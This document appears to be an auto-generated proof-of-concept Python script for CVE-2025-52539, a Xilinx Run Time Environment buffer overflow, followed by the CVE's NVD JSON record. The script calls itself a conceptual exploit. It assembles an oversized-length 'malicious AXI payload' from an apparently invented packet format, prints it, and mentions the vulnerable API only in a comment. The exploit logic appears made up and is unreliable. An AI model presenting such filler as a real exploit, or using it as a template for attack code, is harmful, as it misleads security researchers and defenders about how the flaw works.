CVE-2025-52539

# CVE-2025-52539 PoC - Xilinx Run Time Environment Buffer Overflow # This PoC demonstrates potential buffer overflow in AXI interface handling # Note: This is a conceptual PoC for educational purposes only import struct import sys def create_malicious_axim_payload(): """ Create a malicious AXI transaction payload that could trigger buffer overflow in Xilinx Run Time Environment """ # AXI transaction header header = struct.pack('<I', 0x00000001) # AXI transaction type # Potential overflow: oversized data length field overflow_length = 0xFFFFFFFF # Malicious oversized length length_field = struct.pack('<I', overflow_length) # Craft payload with oversized data payload_size = 1024 # Arbitrary large size padding = b'A' * payload_size # AXI address that might trigger vulnerable code path axi_address = struct.pack('<Q', 0x40000000) # Example BRAM address # Final payload assembly exploit_payload = header + length_field + axi_address + padding return exploit_payload def trigger_vulnerability(payload): """ Simulate sending malicious payload to Xilinx Runtime In real scenario, this would interact with the vulnerable driver/API """ print(f"[*] Crafted malicious payload: {len(payload)} bytes") print(f"[*] Payload hex: {payload.hex()[:64]}...") # In real attack, this would call vulnerable Xilinx API: # Xil_Runtime_Setup(payload, len(payload)) return True if __name__ == "__main__": print("[*] CVE-2025-52539 PoC - Xilinx RTE Buffer Overflow") print("[*] Target: Xilinx Run Time Environment") print("[*] Vector: Local AXI interface manipulation") payload = create_malicious_axim_payload() trigger_vulnerability(payload) print("[+] Payload ready for testing")

{"cve": {"id": "CVE-2025-52539", "sourceIdentifier": "[email protected]", "published": "2025-11-24T20:15:49.410", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A buffer overflow with Xilinx Run Time Environment may allow a local attacker to read or corrupt data from the advanced extensible interface (AXI), potentially resulting in loss of confidentiality, integrity, and/or availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-8014.html", "source": "[email protected]"}]}}